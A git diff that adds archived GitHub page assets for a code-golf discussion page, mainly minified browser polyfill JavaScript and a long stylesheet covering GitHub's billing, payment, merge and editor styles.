b(){o()||(AbortSignal.timeout=f)}e(b,"abortsignal_timeout_apply");class d extends Error{constructor(h,P,C={}){super(P);Object.defineProperty(this,"errors",{value:Array.from(h),configurable:!0,writable:!0}),C.cause&&Object.defineProperty(this,"cause",{value:C.cause,configurable:!0,writable:!0})}}e(d,"AggregateError");function y(){return typeof globalThis.AggregateError=="function"}e(y,"aggregateerror_isSupported");function S(){return globalThis.AggregateError===d}e(S,"aggregateerror_isPolyfilled");function O(){y()||(globalThis.AggregateError=d)}e(O,"aggregateerror_apply");const T=Reflect.getPrototypeOf(Int8Array)||{};function I(m){const h=this.length;return m=Math.trunc(m)||0,m<0&&(m+=h),m<0||m>=h?void 0:this[m]}e(I,"arrayLikeAt");function E(){return"at"in Array.prototype&&typeof Array.prototype.at=="function"&&"at"in String.prototype&&typeof String.prototype.at=="function"&&"at"in T&&typeof T.at=="function"}e(E,"arraylike_at_isSupported");function r(){return Array.prototype.at===I&&String.prototype.at===I&&T.at===I}e(r,"arraylike_at_isPolyfilled");function n(){if(!E()){const m={value:I,writable:!0,configurable:!0};Object.defineProperty(Array.prototype,"at",m),Object.defineProperty(String.prototype,"at",m),Object.defineProperty(T,"at",m)}}e(n,"arraylike_at_apply");function s(){const m=new Uint32Array(4);crypto.getRandomValues(m);let h=-1;return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(P){h++;const C=m[h>>3]>>h%8*4&15;return(P==="x"?C:C&3|8).toString(16)})}e(s,"randomUUID");function g(){return typeof crypto=="object"&&"randomUUID"in crypto&&typeof crypto.randomUUID=="function"}e(g,"crypto_randomuuid_isSupported");function L(){return g()&&crypto.randomUUID===s}e(L,"crypto_randomuuid_isPolyfilled");function p(){g()||(crypto.randomUUID=s)}e(p,"crypto_randomuuid_apply");const _=EventTarget.prototype.addEventListener;function A(m,h,P){if(typeof P=="object"&&"signal"in P&&P.signal instanceof AbortSignal){if(P.signal.aborted)return;_.call(P.signal,"abort",()=>{this.removeEventListener(m,h,P)})}return _.call(this,m,h,P)}e(A,"addEventListenerWithAbortSignal");function x(){let m=!1;const h=e(()=>m=!0,"setSignalSupported");function P(){}e(P,"noop");const C=Object.create({},{signal:{get:h}});try{const R=new EventTarget;return R.addEventListener("test",P,C),R.removeEventListener("test",P,C),m}catch{return m}}e(x,"event_abortsignal_isSupported");function ee(){return EventTarget.prototype.addEventListener===A}e(ee,"event_abortsignal_isPolyfilled");function $(){typeof AbortSignal=="function"&&!x()&&(EventTarget.prototype.addEventListener=A)}e($,"event_abortsignal_apply");const K=Object.prototype.hasOwnProperty;function N(m,h){if(m==null)throw new TypeError("Cannot convert undefined or null to object");return K.call(Object(m),h)}e(N,"object_hasown_objectHasOwn");function M(){return"hasOwn"in Object&&typeof Object.hasOwn=="function"}e(M,"object_hasown_isSupported");function te(){return Object.hasOwn===N}e(te,"object_hasown_isPolyfilled");function V(){M()||Object.defineProperty(Object,"hasOwn",{value:N,configurable:!0,writable:!0})}e(V,"object_hasown_apply");function j(m){return new Promise((h,P)=>{let C=!1;const R=Array.from(m),k=[];function z(D){C||(C=!0,h(D))}e(z,"resolveOne");function G(D){k.push(D),k.length===R.length&&P(new globalThis.AggregateError(k,"All Promises rejected"))}e(G,"rejectIfDone");for(const D of R)Promise.resolve(D).then(z,G)})}e(j,"promise_any_promiseAny");function U(){return"any"in Promise&&typeof Promise.any=="function"}e(U,"promise_any_isSupported");function ne(){return Promise.all===j}e(ne,"promise_any_isPolyfilled");function X(){U()||(Promise.any=j)}e(X,"promise_any_apply");const Y=50;function B(m,h={}){const P=Date.now(),C=h.timeout||0,R=Object.defineProperty({didTimeout:!1,timeRemaining(){return Math.max(0,Y-(Date.now()-P))}},"didTimeout",{get(){return Date.now()-P>C}});return window.setTimeout(()=>{m(R)})}e(B,"requestidlecallback_requestIdleCallback");function F(m){clearTimeout(m)}e(F,"cancelIdleCallback");function W(){return typeof globalThis.requestIdleCallback=="function"}e(W,"requestidlecallback_isSupported");function re(){return globalThis.requestIdleCallback===B&&globalThis.cancelIdleCallback===F}e(re,"requestidlecallback_isPolyfilled");function q(){W()||(globalThis.requestIdleCallback=B,globalThis.cancelIdleCallback=F)}e(q,"requestidlecallback_apply");const H=typeof Blob=="function"&&typeof PerformanceObserver=="function"&&typeof Intl=="object"&&typeof MutationObserver=="function"&&typeof URLSearchParams=="function"&&typeof WebSocket=="function"&&typeof IntersectionObserver=="function"&&typeof queueMicrotask=="function"&&typeof TextEncoder=="function"&&typeof TextDecoder=="function"&&typeof customElements=="object"&&typeof HTMLDetailsElement=="function"&&typeof AbortController=="function"&&typeof AbortSignal=="function"&&"entries"in FormData.prototype&&"toggleAttribute"in Element.prototype&&"replaceChildren"in Element.prototype&&"fromEntries"in Object&&"flatMap"in Array.prototype&&"trimEnd"in String.prototype&&"allSettled"in Promise&&"matchAll"in String.prototype&&"replaceAll"in String.prototype&&!0;function Z(){return H&&v()&&o()&&y()&&E()&&g()&&x()&&M()&&U()&&W()}e(Z,"lib_isSupported");function oe(){return abortSignalAbort.isPolyfilled()&&abortSignalTimeout.isPolyfilled()&&aggregateError.isPolyfilled()&&arrayAt.isPolyfilled()&&cryptoRandomUUID.isPolyfilled()&&eventAbortSignal.isPolyfilled()&&objectHasOwn.isPolyfilled()&&promiseAny.isPolyfilled()&&requestIdleCallback.isPolyfilled()}e(oe,"lib_isPolyfilled");function Q(){c(),b(),O(),n(),p(),$(),V(),X(),q()}e(Q,"lib_apply")},82918:(w,t,i)=>{"use strict";i.d(t,{b:()=>f});let a;function v(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}.${Math.round(Date.now()/1e3)}`}e(v,"generateClientId");function l(o){const u=`GH1.1.${o}`,b=Date.now(),d=new Date(b+1*365*86400*1e3).toUTCString();let{domain:y}=document;y.endsWith(".github.com")&&(y="github.com"),document.cookie=`_octo=${u}; expires=${d}; path=/; domain=${y}; secure; samesite=lax`}e(l,"setClientIdCookie");function c(){let o;const b=document.cookie.match(/_octo=([^;]+)/g);if(!b)return;let d=[0,0];for(const y of b){const[,S]=y.split("="),[,O,...T]=S.split("."),I=O.split("-").map(Number);I>d&&(d=I,o=T.join("."))}return o}e(c,"getClientIdFromCookie");function f(){try{const o=c();if(o)return o;const u=v();return l(u),u}catch{return a||(a=v()),a}}e(f,"getOrCreateClientId")},15205:(w,t,i)=>{"use strict";i.d(t,{Z:()=>v});function a(...l){return JSON.stringify(l,(c,f)=>typeof f=="object"?f:String(f))}e(a,"defaultHash");function v(l,c={}){const{hash:f=a,cache:o=new Map}=c;return function(...u){const b=f.apply(this,u);if(o.has(b))return o.get(b);let d=l.apply(this,u);return d instanceof Promise&&(d=d.catch(y=>{throw o.delete(b),y})),o.set(b,d),d}}e(v,"memoize")}},w=>{var t=e(a=>w(w.s=a),"__webpack_exec__"),i=t(83721)}]);})(); + +//# sourceMappingURL=environment-d5c096edc4e7.js.map \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css new file mode 100644 index 0000000..443aa00 --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css @@ -0,0 +1,3 @@ +.min-height-full{min-height:100vh !important}.marketing-section{position:relative;padding-top:80px;padding-bottom:80px;font-size:16px;line-height:1.5;text-align:center;border-bottom:1px solid var(--color-border-default)}.marketing-section::before{display:table;content:""}.marketing-section::after{display:table;clear:both;content:""}.marketing-section h3{font-size:20px;font-weight:400}.marketing-hero-octicon{position:relative;width:100px;height:100px;margin:0 auto 16px;text-align:center;border:solid 1px var(--color-border-default);border-radius:50px}.marketing-hero-octicon .octicon{margin-top:24px;color:var(--color-accent-fg)}.marketing-hero-octicon .octicon-checklist{position:relative;right:-3px}.hanging-icon-list{list-style-type:none}.hanging-icon-list li{padding-left:24px;margin:8px 0;font-size:14px}.hanging-icon-list .octicon{float:left;margin-top:4px;margin-left:-24px;color:var(--color-fg-muted)}.hanging-icon-list .octicon-check{color:var(--color-success-fg)}.hanging-icon-list .octicon-x{color:var(--color-danger-fg)}.integrations-hero-octicon.marketing-hero-octicon{width:75px;height:75px;border-width:5px}.integrations-hero-octicon.marketing-hero-octicon .octicon{margin-top:16px}.marketing-blue-octicon{color:#34acbf;border-color:#34acbf}.marketing-blue-octicon .octicon{color:#34acbf}.marketing-turquoise-octicon{color:#75bbb6;border-color:#75bbb6}.marketing-turquoise-octicon .octicon{color:#75bbb6}.marketing-purple-octicon{color:#b086b7;border-color:#b086b7}.marketing-purple-octicon .octicon{color:#b086b7}.marketing-graphic{position:relative}.intgrs-dir .marketing-graphic{padding-right:0;margin:0}.intgrs-dir .footer{margin-top:40px}.intgrs-dir-section h2{margin-top:0;margin-bottom:16px;font-size:24px;font-weight:300}.intgrs-dir-intro{padding:40px 0;margin:0;text-align:left;background-image:linear-gradient(-110deg, #48227d 0%, #2f569c 100%);border-bottom:0}.pagehead+.intgrs-dir-intro{margin-top:-16px}.intgrs-dir-intro .directory-header-back{margin-top:8px;font-size:16px;color:#fff}.intgrs-dir-intro .directory-header-back:hover{color:#d7def1;text-decoration:none}.intgrs-dir-intro .directory-header-back .octicon{vertical-align:middle}.intgrs-dir-intro .directory-header-back .header-link{color:var(--color-accent-fg)}.intgrs-dir-intro .directory-tag-line{margin-bottom:0;font-size:32px;font-weight:400;color:#fff}.intgrs-dir-intro .lead{margin-top:8px;margin-bottom:4px;font-size:16px;font-weight:400;color:#d7def1}.intgrs-lstng-search{display:inline-block;width:33%;margin-left:16px}.intgrs-lstng-search .subnav-search-input{width:100%}.intgrs-lstng-categories-container{display:inline-block;float:left;width:20%}.intgrs-lstng-categories-container .intgrs-lstng-categories{top:0}.intgrs-lstng-categories-container .filter-item{padding:4px 8px;margin-right:-8px;margin-left:-8px}.intgrs-lstng-container{display:inline-block;width:80%;text-align:left}.intgrs-lstng-item{position:relative;display:inline-flex;width:30.8%;font-size:14px;border:1px solid var(--color-border-muted);border-radius:4px;transition:border-color .15s ease 0s,transform .15s ease 0s,box-shadow .15s ease 0s,color .15s ease 0s}.intgrs-lstng-item:hover{border-color:#51a7e8;box-shadow:0 0 5px rgba(81,167,232,.5);transform:scale(1.05)}.intgrs-lstng-item .intgrs-lstng-logo{display:block;margin:0 auto 8px}.intgrs-lstng-item .draft-tag{position:absolute;top:-1px;left:10px}.intgrs-lstng-item-link{display:block;width:100%;height:181px;padding-top:16px}.intgrs-lstng-item-link:hover{text-decoration:none}.intgrs-lstng-item-link:hover .intgrs-lstng-item-header{color:var(--color-accent-fg)}.intgrs-lstng-item-header{margin:16px 8px 0;font-size:14px;font-weight:600;color:var(--color-fg-default)}.intgrs-lstng-item-description{position:relative;height:2.8em;padding:0 8px;margin-top:4px;overflow:hidden;font-size:12px;color:var(--color-fg-muted)}.intgrs-lstng-item-description::after{position:absolute;right:0;bottom:0;padding:0 16px 0 16px;color:transparent;content:" ";background-image:linear-gradient(to right, rgba(255, 255, 255, 0), #fff 80%)}.intgr-admin-link{position:relative;display:inline-block;height:25px;padding-left:24px;font-size:12px;vertical-align:middle;border:1px solid var(--color-border-muted);border-radius:6px}.intgr-admin-link.draft-tag{padding-left:24px;border:0}.intgr-admin-link.draft-tag .octicon,.intgr-admin-link.draft-tag:hover .octicon{color:#fff}.intgr-admin-link.draft-tag:hover{text-decoration:none;background-color:#000}.intgr-admin-link:hover .octicon{color:var(--color-accent-fg)}.intgr-admin-link .octicon{position:absolute;top:3px;left:5px;color:var(--color-fg-muted)}.intgr-feat-header{position:relative;width:85%;padding:0 65px 8px;color:#d7def1}.intgr-feat-header .intgr-admin-link{border-color:rgba(215,222,241,.6)}.intgr-feat-header .intgr-admin-link .octicon{color:#d7def1}.intgr-feat-header .intgr-admin-link:hover .octicon{color:#fff}.intgr-feat-header .marketing-hero-octicon{position:absolute;top:0;left:5px;width:50px;height:50px;border-width:3px}.intgr-feat-header .marketing-hero-octicon .octicon{margin-top:12px}.intgr-feat-header h2{margin:0;font-size:24px;line-height:50px;color:#fff}.intgr-feat-header p{max-width:580px;margin:0;font-size:16px}.integrations-breadcrumb{display:inline-block;font-weight:400;color:var(--color-accent-fg)}.integrations-breadcrumb-link{line-height:0;color:#d7def1}.integrations-breadcrumb-link:hover{color:#fff;text-decoration:none}.integrations-auth-wrapper{max-width:540px;padding-right:16px;padding-left:16px;margin:60px auto}.integrations-auth-header{font-size:20px;text-align:center}.integrations-permissions-group dt{font-size:16px;font-weight:400}.integrations-permissions-group .integrations-permission{position:relative;padding-left:24px;margin-bottom:8px;list-style-type:none}.integrations-permissions-group .integrations-permission .octicon{position:absolute;top:1px;left:0;margin-right:8px}.integrations-install-target .select-menu{vertical-align:middle}.integrations-install-target input[type=radio]{margin-right:8px}.integrations-install-target .flash{background-color:transparent}.integrations-install-target .flash-error{background-color:transparent;border:0}.integrations-install-target .octicon-lock,.integrations-install-target .octicon-repo{margin-right:4px}.integrations-install-target .octicon-lock{color:var(--color-attention-fg)}.integrations-install-target .private{background-color:#fff9ea}.integrations-install-target [aria-selected=true].private,.integrations-install-target .navigation-focus.private{background-color:#4078c0}.integrations-install-target [aria-selected=true].octicon-lock,.integrations-install-target .navigation-focus .octicon-lock{color:inherit}.integrations-setup-note{margin:8px 0}.listgroup-item{line-height:inherit}.listgroup-item.disabled{background-color:var(--color-canvas-subtle)}.listgroup-item.disabled .listgroup-item-title{color:var(--color-fg-default)}.link-small{color:var(--color-fg-muted);transition:color 500ms ease}.sub-permissions-error{max-width:unset !important}.not-found-octocat-wrapper{width:71px;height:71px;border-radius:45px}.not-found-octocat-wrapper::after{position:absolute;top:58px;left:45px;z-index:-2;display:block;width:4px;height:4px;vertical-align:baseline;content:"";background:var(--color-canvas-default);border-radius:4px;box-shadow:0 4px 0 #fff,0 8px 0 #fff,0 12px 0 #fff,0 16px 0 #fff,0 20px 0 #fff;animation-name:pull-string;animation-duration:.75s;animation-fill-mode:forwards;animation-delay:.5s}@keyframes lightbulb{0%,8%,14%{opacity:.1}0%,10%,25%{opacity:.25}5%,30%,50%,70%{opacity:.5}16%,60%,80%{opacity:.75}90%{opacity:.8}94%{opacity:.5}100%{opacity:1;stddeviation:0}}.not-found-lightbulb-ani{z-index:1;opacity:.25;animation-name:lightbulb;animation-duration:2.5s;animation-fill-mode:forwards;animation-delay:1.3s}@keyframes pull-string{50%{transform:translate3d(0, 12px, 0)}75%{opacity:1;transform:none}100%{opacity:0}}.boxed-group-table .toggle-currency{font-size:12px;font-weight:400}.has-removed-contents{display:none}.org-login{margin-top:-32px;margin-bottom:32px}.org-login img{width:450px;padding:1px;margin:8px -24px;border:1px solid var(--color-border-default)}.member-list-item .member-username{display:inline}.member-list-item .member-link{display:inline}.actor-and-action{font-weight:600}.vertical-separator{margin-right:8px;margin-left:4px;border-left:1px solid var(--color-border-default)}.audit-log-search .audit-search-form{margin-bottom:8px}.audit-log-search .audit-results-actions{margin:16px 0}.audit-log-search .audit-search-clear{margin-bottom:0}.billing-addon-items table input{width:5em}.billing-addon-items td{vertical-align:middle;border-bottom:0}.billing-addon-items td.fixed{width:150px}.billing-addon-items td.black{color:var(--color-fg-default)}.billing-addon-items tr{border-bottom:1px solid var(--color-border-muted)}.billing-addon-items tr:last-child{border-bottom-width:0}.billing-addon-items tr:nth-child(even){background-color:var(--color-canvas-subtle)}.billing-addon-items tr.total-row{color:var(--color-danger-fg);background-color:var(--color-canvas-default)}.billing-addon-items .new-addon-items{margin-left:4px}.billing-addon-items .addon-cost{color:var(--color-fg-muted)}.billing-addon-items .discounted-original-price{color:var(--color-fg-muted)}.billing-addon-items .form-submit,.billing-addon-items .payment-method{margin-left:8px}.billing-addon-items .payment-summary{margin-right:8px;margin-left:8px}.billing-credit-card .javascript-disabled-overlay{position:absolute;top:0;left:0;z-index:1;display:none;width:100%;height:100%;background-color:var(--color-canvas-default);opacity:.5}.billing-credit-card.disabled .javascript-disabled-overlay{display:block}.billing-extra-box{padding-left:8px;margin:8px 0;border-left:6px solid var(--color-border-muted)}.billing-vat-box{padding-left:8px;margin:8px 0;border-left:6px solid var(--color-border-muted)}.billing-section .action-button{float:right;margin-bottom:4px;margin-left:8px}.billing-section .section-label{position:absolute;width:85px;font-weight:400;color:var(--color-fg-muted);text-align:right}.billing-section .section-content{margin-left:100px;color:var(--color-fg-default)}.billing-section:last-child{border-bottom:0}.billing-section .usage-bar{max-width:304px}.usage-bar{width:100%;margin:4px 0 0;background:#eee;border-radius:20px}.usage-bar.exceeded .progress{background-color:var(--color-danger-emphasis) !important}.usage-bar .progress{position:relative;max-width:100%;height:5px;background-color:var(--color-success-emphasis);border-radius:20px;transition:width .3s}.usage-bar .progress.no-highlight{background:var(--color-neutral-muted)}.usage-bar .progress--orange{background-color:var(--color-severe-emphasis)}.usage-bar .progress--purple{background-color:var(--color-done-emphasis)}.lfs-data-pack-field{margin:-4px 0}.packs-table .desc{width:1%;white-space:nowrap}.lfs-data-icon{color:var(--color-fg-muted);text-align:center}.lfs-data-icon.dark{color:var(--color-fg-default)}.lfs-data-icon.octicon-database{margin-right:4px;margin-left:2px}.setup-wrapper .paypal-container{margin-bottom:32px}.setup-wrapper .paypal-logged-in .paypal-container{margin-bottom:8px}.payment-methods{position:relative}.payment-methods .selected-payment-method{display:none}.payment-methods .selected-payment-method::before{display:table;content:""}.payment-methods .selected-payment-method::after{display:table;clear:both;content:""}.payment-methods .selected-payment-method.active{display:block}.payment-methods .form-group dd .form-control.short.input-vat{width:300px}.payment-methods .pay-with-header{margin:4px 0}.payment-methods .pay-with-paypal .setup-creditcard-form,.payment-methods .pay-with-paypal .paypal-form-actions,.payment-methods .pay-with-paypal .terms,.payment-methods .pay-with-paypal .paypal-signed-in,.payment-methods .pay-with-paypal .paypal-down-flash,.payment-methods .pay-with-paypal .loading-paypal-spinner{display:none}.payment-methods.paypal-loading .loading-paypal-spinner{display:block}.payment-methods.paypal-down .paypal-down-flash{display:block}.payment-methods.paypal-logged-in .paypal-sign-in{display:none}.payment-methods.paypal-logged-in .setup-creditcard-form,.payment-methods.paypal-logged-in .paypal-form-actions,.payment-methods.paypal-logged-in .terms,.payment-methods.paypal-logged-in .paypal-signed-in{display:block}.payment-methods.has-paypal-account .paypal-sign-in{display:none}.payment-methods.has-paypal-account .paypal-signed-in{display:block}.paypal-label{margin:16px 0 8px;font-weight:600}.paypal-container{display:inline-block;margin-bottom:16px;vertical-align:top;background-color:var(--color-canvas-subtle);border-radius:4px}.braintree-paypal-loggedin{padding:12px 16px !important;background-position:12px 50% !important;border:1px solid var(--color-border-muted) !important;border-radius:4px}.bt-pp-name{margin-left:16px !important}.bt-pp-email{margin-left:16px !important}.bt-pp-cancel{font-size:0 !important;line-height:1 !important;color:var(--color-danger-fg) !important;text-decoration:none !important}.payment-history .id,.payment-history .date,.payment-history .receipt,.payment-history .status,.payment-history .amount{white-space:nowrap}.payment-history .break-all{word-break:break-all}.payment-history .receipt{text-align:center}.payment-history .currency,.payment-history .status{color:var(--color-fg-muted)}.payment-history .status-icon{width:14px;text-align:center}.payment-history .succeeded .status{color:var(--color-success-fg)}.payment-history .refunded,.payment-history .failed{background:var(--color-canvas-subtle)}.payment-history .refunded td,.payment-history .failed td{opacity:.5}.payment-history .refunded .receipt,.payment-history .refunded .status,.payment-history .failed .receipt,.payment-history .failed .status{opacity:1}.payment-history .refunded .status{color:var(--color-fg-muted)}.payment-history .failed .status{color:var(--color-danger-fg)}.paypal-icon{margin:0 2px 0 1px;vertical-align:middle}.currency-container .local-currency,.currency-container .local-currency-block{display:none}.currency-container.open .local-currency{display:inline}.currency-container.open .local-currency-block{display:block}.currency-container.open .default-currency{display:none}.strong-label{display:inline-block;margin-bottom:4px;font-weight:600}.discounted-original-price{font-weight:400;color:var(--color-fg-muted);text-decoration:line-through}.billing-manager-input{width:500px}.seats-change-arrow{margin:0 8px}.plan-choice{position:relative;display:block;padding:16px;padding-left:40px;font-weight:400;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default)}.plan-choice.open,.plan-choice.selected{background-color:var(--color-canvas-default)}.plan-choice--experiment{cursor:pointer;transition:transform .3s,box-shadow .3s,border-color .3s}.plan-choice--experiment.open,.plan-choice--experiment.selected{border-color:var(--color-border-default);box-shadow:var(--color-shadow-large);transform:scale(1.025)}.plan-choice--experiment.open .plan-choice-icon,.plan-choice--experiment.selected .plan-choice-icon{background-color:var(--color-success-emphasis);box-shadow:var(--color-shadow-small)}.plan-choice--experiment.open .plan-choice-icon .octicon,.plan-choice--experiment.selected .plan-choice-icon .octicon{transform:scale(1)}.plan-choice--experiment.plan-choice--green.open,.plan-choice--experiment.plan-choice--green.selected{border-color:var(--color-success-emphasis)}.plan-choice--experiment.plan-choice--green.open .plan-choice-icon,.plan-choice--experiment.plan-choice--green.selected .plan-choice-icon{background-color:var(--color-success-emphasis)}.plan-choice--experiment.plan-choice--purple.open,.plan-choice--experiment.plan-choice--purple.selected{border-color:var(--color-done-emphasis)}.plan-choice--experiment.plan-choice--purple.open .plan-choice-icon,.plan-choice--experiment.plan-choice--purple.selected .plan-choice-icon{background-color:var(--color-done-fg)}.plan-choice-icon{transition:box-shadow .3s}.plan-choice-icon .octicon{transition:transform .2s;transform:scale(0.5)}.plan-choice-radio{position:absolute;top:18px;left:15px}.plan-choice-exp{margin-top:4px;font-size:12px;color:var(--color-fg-muted)}.seat-field{width:50px;margin-right:4px}.billing-line-items{margin-top:8px}.billing-line-item{padding:8px 0;font-size:12px;list-style:none;border-top:1px solid var(--color-border-default)}.billing-line-item::before{display:table;content:""}.billing-line-item::after{display:table;clear:both;content:""}.billing-line-item-last{font-weight:600;border-top-width:3px}.line-item-value{float:right}.condensed-payment-methods .vat-field{width:100%}.condensed-payment-methods .state-field{width:30%}.condensed-payment-methods .postcode-field{width:28%}.condensed-payment-methods .country-field{width:42%}.condensed-payment-methods .is-international .country-field{width:72%}.condensed-payment-methods .is-international.no-postcodes .country-field{width:100%}.zuora-billing-section.PaymentMethod--creditcard:not(.has-removed-contents)~.SignUpContinueActions{display:none}.zuora-billing-section.PaymentMethod--creditcard-added~.SignUpContinueActions{display:block}.zuora-billing-section.PaymentMethod--paypal~.SignUpContinueActions{display:block}.new-org-billing-form .z_hppm_iframe{width:100% !important}.billing-tooltip-underline{cursor:help;border-bottom:1px dotted}.billing-box-accordion[open] .octicon-chevron-right{height:auto;transform:rotate(90deg)}.billing-box-accordion:hover .billing-box-accordion-state .octicon{color:var(--color-fg-muted)}.billing-box-accordion-chevron[open] .octicon-chevron-right{height:auto;transform:rotate(90deg)}.billing-box-accordion-state .octicon{color:var(--color-fg-muted);transition:transform .09s ease-out}.billing-box-progress{padding-top:1px;margin-bottom:4px}.Details-element:focus{outline:none}.organization-radio-button-budget-disabled{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.organization-radio-button-budget-disabled label p{color:var(--color-fg-muted) !important}.required-asterisked::after{color:var(--color-danger-fg);content:" *"}.blob-interaction-bar{position:relative;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}.blob-interaction-bar::before{display:table;content:""}.blob-interaction-bar::after{display:table;clear:both;content:""}.blob-interaction-bar .octicon-search{position:absolute;top:6px;left:10px;font-size:12px;color:var(--color-fg-muted)}.blob-filter{width:100%;padding:4px 16px 4px 32px;font-size:12px;border:0;border-radius:0;outline:none}.blob-filter:focus{outline:none}.TagsearchPopover{width:inherit;max-width:600px}.TagsearchPopover-content{max-height:300px}.TagsearchPopover-list .TagsearchPopover-list-item:hover{background-color:var(--color-canvas-subtle)}.TagsearchPopover-list .TagsearchPopover-list-item .TagsearchPopover-item:hover{text-decoration:none}.TagsearchPopover-list .blob-code-inner{white-space:pre-wrap}.diff-table .line-alert,.blob-code-content .line-alert{position:absolute;left:0;margin:-2px 2px}.diff-table .codeowners-error,.blob-code-content .codeowners-error{color:var(--color-danger-fg)}.diff-table .error-highlight,.blob-code-content .error-highlight{position:relative;cursor:help;font-style:italic;color:var(--color-danger-fg)}.diff-table .error-highlight::before,.blob-code-content .error-highlight::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-danger-fg), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-danger-fg), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.blob-code-content .blob-num .line-alert{margin-top:1px}.diff-table .blob-num .line-alert{margin:2px -2px}.csv-data .line-alert{position:absolute;margin:2px 4px}.CopyBlock{line-height:20px;cursor:pointer}.CopyBlock .octicon-copy{display:none}.CopyBlock:hover,.CopyBlock:focus,.CopyBlock:active{background-color:var(--color-canvas-default);outline:none}.CopyBlock:hover .octicon-copy,.CopyBlock:focus .octicon-copy,.CopyBlock:active .octicon-copy{display:inline-block}.blob-header.is-stuck{border-top:0;border-top-left-radius:0;border-top-right-radius:0}.commit-form-avatar{margin-left:-64px}.commit-form::after,.commit-form::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.commit-form::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.commit-form::before{background-color:var(--color-border-default)}.quick-pull-new-branch-icon{top:9px;left:10px}.CodeMirror-hints{position:absolute;z-index:10;max-height:20em;margin:0;overflow-y:auto;font-family:SFMono-Regular,Consolas,"Liberation Mono",Menlo,monospace;font-size:12px;list-style:none;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.CodeMirror-hint{padding:2px 8px;margin:0;color:var(--color-fg-default);white-space:pre;cursor:pointer}.CodeMirror-hint .CodeMirror-hint:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.CodeMirror-hint .CodeMirror-hint:last-child{border-bottom-right-radius:6px;border-bottom-left-radius:6px}.CodeMirror-hint-active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.CodeMirror-lint-tooltip{position:fixed;z-index:100;min-width:300px;max-width:600px;opacity:0;transition:opacity .4s}.CodeMirror-lint-mark-error{position:relative;cursor:help}.CodeMirror-lint-mark-error::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-danger-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-danger-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-lint-mark-warning{position:relative;cursor:help}.CodeMirror-lint-mark-warning::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-attention-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-attention-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-lint-mark-info{position:relative;cursor:help}.CodeMirror-lint-mark-info::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var(--color-accent-emphasis), transparent 55%, transparent 100%),linear-gradient(45deg, transparent, transparent 45%, var(--color-accent-emphasis), transparent 55%, transparent 100%);background-repeat:repeat-x,repeat-x;background-size:.5em .5em}.CodeMirror-hint-active .CodeMirror-hint-description{color:var(--color-fg-on-emphasis) !important}.merge-pr{padding-top:8px;margin:16px 0 0;border-top:1px solid var(--color-border-default)}.merge-pr.open .merge-branch-form{display:block}.merge-pr.open .branch-action{display:none}.merge-pr.is-merging-jump.open .queue-branch-form,.merge-pr.is-merging-group.open .queue-branch-form,.merge-pr.is-merging-solo.open .queue-branch-form{display:block}.status-heading{margin-bottom:1px}.merge-status-list{max-height:0;padding:0;margin:16px -16px -16px -55px;overflow-y:auto;transition:max-height .25s ease-in-out}.statuses-toggle-opened{display:none}.merge-status-item{position:relative;padding:8px 16px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}.merge-status-item:last-child:not(.review-item){border-bottom:0}.merge-status-item .css-truncate-target{max-width:100%}.merge-status-item .dismiss-review-form{display:none}.merge-status-item.open .review-status-item{display:none !important}.merge-status-item.open .dismiss-review-form{display:block}.status-meta{color:var(--color-fg-muted)}.status-meta-file-name{padding:.2em .4em;margin:0;font-size:85%;background-color:rgba(27,31,35,.05);border-radius:6px}.status-actions{margin-left:auto}.branch-action-item-icon{float:left;margin-left:-40px}.merge-status-icon{min-width:30px}.branch-action{padding-left:55px;margin-top:16px;margin-bottom:16px}.branch-action .merge-branch-heading{margin-bottom:4px}.branch-action-icon{float:left;width:40px;height:40px;margin-left:-55px;color:var(--color-fg-on-emphasis);border-radius:6px}.branch-action-body{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.branch-action-body .spinner{display:block;float:left;width:32px;height:32px;margin-right:16px;background:url("/images/spinners/octocat-spinner-32.gif") no-repeat}.branch-action-body .merge-message,.branch-action-body .merge-branch-form,.branch-action-body .queue-branch-form{padding:16px;background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.post-merge-message{padding:16px}.branch-action-item{padding:16px 16px 16px 55px;font-size:13px;line-height:1.4}.branch-action-item+.branch-action-item,.branch-action-item+.mergeability-details{border-top:1px solid 